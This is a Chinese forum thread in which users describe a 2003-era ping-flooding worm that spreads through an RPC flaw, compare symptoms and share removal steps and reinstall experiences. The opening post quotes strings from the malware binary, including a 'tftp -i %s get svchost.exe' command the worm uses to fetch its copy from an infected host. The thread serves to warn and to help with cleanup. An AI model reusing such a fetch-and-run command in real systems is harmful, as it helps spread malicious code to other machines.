发新话题
打印

最近病毒猖獗,又中招了

大家注意了!昨天开始的“疯狂ping”现象 从昨天开始,很多网友被疯狂的ping,(我的也是),各种防火墙都有反映,基本上是几秒钟就1次。 到现在为止,各大防病毒软件、防火墙软件的公司网站还没有多少反映! 这个新病毒会尝试从微软网站下载补丁并自动将受感染的系统打上补丁。然后该病毒会开启数百个的线程PING其它IP地址,并通过RPC漏洞快速传播自己,消耗大量CPU和网络资源,并且有可能会导致系统死机。该病毒的作者似乎无意作恶,病毒设定在2004年自行毁灭。 如果大家在自己 的system32 目录里的WINS目录里发现DLLHOST.EXE 和SVCHOST.EXE那么你肯定中毒了。。请自己在启动里删除。。并且删除这2个文件。。传染比较快。。希望大家安装防护墙,,这是中国人自己编译的病毒 SVCHOST.EXE 大小是19.2K DLLHOST.EXE 大小是10.K DLLHOST.EXE里面有这样的话! =========== I love my wife [$ baby ~~~ Welcome Chian~~~ Notice: 2004 will remove myself~~ sorry zhongli~~~=========== wins http://download.microsoft.com/download/6/9...980-x86-KOR.exe ]; http://download.microsoft.com/download/5/8...980-x86-CHT.exe ;; http://download.microsoft.com/download/2/8...980-x86-CHS.exe ;; http://download.microsoft.com/download/0/1...980-x86-ENU.exe ;; http://download.microsoft.com/download/e/3...980-x86-KOR.exe ;; http://download.microsoft.com/download/2/3...980-x86-CHT.exe ;; http://download.microsoft.com/download/a/a...980-x86-CHS.exe ;; http://download.microsoft.com/download/9/8...980-x86-ENU.exe ;; tftp -i %s get svchost.exe winsSVCHOST.EXE 这2个文件在SYSTEM32里的WINS目录里..如果你菜..肯定上当.这上面的代码不可能是微软的吧!!大家一定要小心!!! 我这不是开玩笑!!!  下面是解决方法!!! 停止这2个系统服务 打开控制面板 然后打开管理工具 打开 服务 看到这2个服务就停止他们 Network connections Sharing WINS Client 然后到WINS目录里删除这2个文件。。安装防护墙

TOP

偶的是98了,最近电脑速度奇慢,像楼主说的被莫名机器狂PING,真是麻烦,原来以为又是小人在做怪懒的理它,可今天听楼主这么一说有够怕人的,我该怎么办呢,我没找到你说的那两个文件在啊!smile_disapprove.gif

TOP

我也莫名其妙的给别人狂ping. 其实别人也中招了 我也只找到一个文件. svchost 删掉了 杀毒了.可是问题还是没有解决. 过了半个多小时网络就不堪重负.断了

TOP

我一秒钟被ping3次smile_sad.gifsmile_sad.gifsmile_sad.gif

TOP

我一秒钟被ping3次smile_sad.gifsmile_sad.gifsmile_sad.gif SVCHOST.EXE DLLHOST.EXE 这两个文件在我的 winnet/sistem32里都有smile_sad.gif 可是文件大小好像和你说的不一样啊! SVCHOST.EXE 7,952字节 DLLHOST.EXE 5,904字节 难道我也中招拉???

TOP

看清楚.实在sys32里面的wins里面的

TOP

引用:
QUOTE
citypiger wrote: 看清楚.实在sys32里面的wins里面的
还好还好! 虚惊一场……smile_big.gif

TOP

我们公司都有这类型补丁。。。 但最麻烦的是。。最近网站都经常受攻击!!smile_evil.gifsmile_evil.gif

TOP

超级烦的病毒,昨天先是中了这个,然后机器开始抓狂,并又出现了冲击波病毒的现象(no copy paste),但杀毒软件毫无作用,打了微软补丁也无济于事。smile_disapprove.gif夸张的是,把计算机管理中服务的启动和停止命令全部被屏蔽掉了,只能看,不能改。smile_disapprove.gif安全模式下也是如此:!( 身心憔悴之下,今日重装了机器,并装好2k sp4和blaster补丁后才把网线插上,终于安宁

TOP

我重装了 艾,郁闷阿

TOP

可是好像还是没有用啊. 我确定了我机器里面不存在毒了.我杀了n遍了. 可是还是不断的给别人狂ping 网络资源马上消耗光了. 上不了半个小时就断了.还要重新拨号

TOP

用防火墙啊,我在软硬件区不是早提醒大家了嘛?

TOP

说道防火墙我装了3个了. 从来没有这么怕过 天网防火墙 zonealarm防火墙 还有norton防火墙 三重防护 天网每秒都在叫....................ping我的那帮孙子.......:!(

TOP

我是 重装+sp4+blaster补丁+金山网镖(所有搞定再插网线) 目前没问题 杀毒软件毫无用处,根本不是病毒的个儿smile_disapprove.gif

TOP

我WINS下面没东西,呵呵。还好 前段时间公司和家里的机子全中招了,公司的杀毒,家里的机子还中了木马,要多倒霉有多倒霉,没办法,格了。。。。smile_disapprove.gif

TOP

这几天的速度还是超慢,懒的管了smile_disapprove.gif

TOP

发新话题